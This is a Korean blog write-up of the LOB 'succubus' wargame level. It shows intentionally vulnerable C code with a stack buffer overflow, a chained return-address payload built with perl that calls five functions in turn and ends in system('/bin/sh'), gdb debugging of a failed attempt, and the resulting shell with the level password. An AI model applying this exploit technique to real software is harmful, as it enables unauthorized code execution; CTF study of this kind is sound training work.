succubus.c를 열어봅시다.
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd) // check가 4라면 system(cmd) 실행
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void) // check가 3이라면 check를 4로 올림.
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void) // check가 2라면 check를 3으로 올림.
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void) // check가 1이라면 check를 2로 올림.
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void) // check 값을 1로 지정.
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){ /* argv[1]인자로 라이브러리영역
printf("You cannot use library\n"); 사용할 수 없음. */
exit(0);
}
// check address
addr = (char *)&DO; // RET에는 D0()의 주소가 있어야한다.
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1] // RET위로 100바이트 만큼 공간을 쓸 수 있다.
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser // buffer-3000부터 40바이트 공간을 쓸 수 있다.
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
굉장히 길다. 그리고 뭔가 난잡하다.
소스 해석을 주석에다가 달겠다.
주석을 토대로 해석해보면 대충 감이 잡힌다.
RET에 DO함수가 와야함 --> DO함수 호출 --> GYE,GUL YUT MO 차례로 호출 -->
MO에서 call하는 system함수 인자에 "/bin/sh"를 주어 셸실행
정도가 되겠다.
자세히 보니 함수 이름들이 도 개 걸 윷 모 ;;-_-
일단 윷놀이(?)함수들의 주소부터 찾아보자.
nm 명령으로 알 수 있따.
[zombie_assassin@localhost zombie_assassin]$ nm succubus
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
08049ae4 ? _DYNAMIC
08049aa8 ? _GLOBAL_OFFSET_TABLE_
08048984 R _IO_stdin_used
08049a9c ? __CTOR_END__
08049a98 ? __CTOR_LIST__
08049aa4 ? __DTOR_END__
08049aa0 ? __DTOR_LIST__
08049a94 ? __EH_FRAME_BEGIN__
08049a94 ? __FRAME_END__
08049b84 A __bss_start
08049a84 D __data_start
w __deregister_frame_info@@GLIBC_2.0
08048920 t __do_global_ctors_aux
080484c0 t __do_global_dtors_aux
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
w __register_frame_info@@GLIBC_2.0
08049b84 A _edata
08049b9c A _end
0804894c A _etext
0804894c ? _fini
U _fp_hw
0804839c ? _init
08048490 T _start
08049a90 D check
08049a8c d completed.3
08049a84 W data_start
08048584 T dumpcode
U exit@@GLIBC_2.0
08048508 t fini_dummy
08049a90 d force_to_data
08049a94 d force_to_data
08048510 t frame_dummy
080484b4 t gcc2_compiled.
080484c0 t gcc2_compiled.
08048920 t gcc2_compiled.
0804894c t gcc2_compiled.
08048540 t gcc2_compiled.
08048530 t init_dummy
08048944 t init_dummy
U isprint@@GLIBC_2.0
08048808 T main
U memcmp@@GLIBC_2.0
U memset@@GLIBC_2.0
08049b84 b object.8
08049a88 d p.2
08048540 T printchar
U printf@@GLIBC_2.0
U strchr@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U system@@GLIBC_2.0
코드를 보면
----------------
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
----------------
로 각각 함수들의 주소를 뽑아 왔다.
그럼 이걸 어떻게 각각 호출하나?
RTL 공부할 때 함수의 가젯을 뽑아와서 호출하면,
스택이 아래와 같이 쌓인다고 했다. (printf 함수라고 가정한다.)
RET에 함수 가젯을 올리면 호출된 함수의 SFP가 쌓이고,
그 다음엔 그 함수의 RET가 쌓인다. 그 뒤에 인자.
그럼 페이로드가 요런식으로 되지 않을까.
[NOP 44] [&DO] [&GYE] [&GUL] [&YUT] [&MO] [NOP 4] [&"/bin/sh"]
다른건 해결되었고, "/bin/sh"의 주소가 문제다.
늘 상 RTL 문제 풀 때처럼 라이브러리 영역에 있는 /bin/sh를 끌어다 쓸 수가 없다.
코드에서 argv[1]에 라이브러리 영역과 스택영역 코드를 막아버리기 때문이다.
그럼 그냥 직접 스택에 "/bin/sh"를 올리고 주소를 따오는게 좋겠다.
[NOP 44] [&DO] [&GYE] [&GUL] [&YUT] [&MO] [NOP 4] [&"/bin/sh"] ["/bin/sh"]
넣고 "/bin/sh"의 주소를 받아온 후 다시 페이로드를 작성해 공격해보겠다.
[zombie_assassin@localhost zombie_assassin]$ ./succubuz `perl -e 'print "\x90"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08","\x24\x87\x04\x08","\x90"x4,"\xa0\xfa\xff\xbf","/bin/sh"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱耳?$릱릱좞?bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: ??V좞? command not found
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb succubuz core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x90909090 in ?? ()
(gdb) set disassembly-flavor intel
(gdb) info reg
eax 0x7f00 32512
ecx 0xbffff7fc -1073743876
edx 0x0 0
ebx 0x401081ec 1074823660
esp 0xbffffab4 -1073743180
ebp 0x0 0
esi 0x4000ae60 1073786464
edi 0xbffffae4 -1073743132
eip 0x90909090 -1869574000
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
cwd 0x0 0
swd 0x0 0
twd 0x0 0
fip 0x0 0
fcs 0x0 0
fopo 0x0 0
fos 0x0 0
(gdb) x/10x $esp
0xbffffab4: 0xbffffaa0 0x6e69622f 0x0068732f 0x08048808
0xbffffac4: 0x00000002 0xbffffae4 0x0804839c 0x0804894c
0xbffffad4: 0x4000ae60 0xbffffadc
(gdb) x/s 0xbffffaa0
0xbffffaa0: "??V\207\004\b좞?
(gdb) x/10s $esp
0xbffffab4: "좞?bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
0xbffffac8: "掖?234\203\004\bL\211\004\b`?
0xbffffad7: "@否?220>\001@\002"
0xbffffae2: ""
0xbffffae3: ""
0xbffffae4: "擘???
0xbffffaed: ""
(gdb)
0xbffffaee: ""
0xbffffaef: ""
0xbffffaf0: "6?풮?퓀??207?여??
0xbffffb05: ""
0xbffffb06: ""
0xbffffb07: ""
0xbffffb08: ""
0xbffffb09: ""
0xbffffb0a: ""
0xbffffb0b: ""
(gdb)
0xbffffb0c: ""
0xbffffb0d: ""
0xbffffb0e: ""
0xbffffb0f: ""
0xbffffb10: ""
0xbffffb11: ""
0xbffffb12: ""
0xbffffb13: ""
0xbffffb14: ""
0xbffffb15: ""
(gdb) x/4s 0xbffffab6
0xbffffab6: "?bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) x/4s 0xbffffab7
0xbffffab7: "?bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) x/4s 0xbffffab5
0xbffffab5: "??bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) x/4s 0xbffffab6
0xbffffab6: "?bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) x/4s 0xbffffab7
0xbffffab7: "?bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) x/4s 0xbffffab8
0xbffffab8: "/bin/sh"
0xbffffac0: "\b\210\004\b\002"
0xbffffac6: ""
0xbffffac7: ""
(gdb) quit
[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "\x90"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08","\x24\x87\x04\x08","\x90"x4,"\xb8\xfa\xff\xbf","/bin/sh"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱耳?$릱릱뫄?bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
bash$
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 19 (nightmare) (0) | 2021.04.12 |
---|---|
LOB Level 18 (succubus) (0) | 2021.04.12 |
LOB Level 16 (assassin) (0) | 2021.04.12 |
LOB Level 15 (giant) (0) | 2021.04.12 |
LOB Level 14 (bugbear) (0) | 2021.04.12 |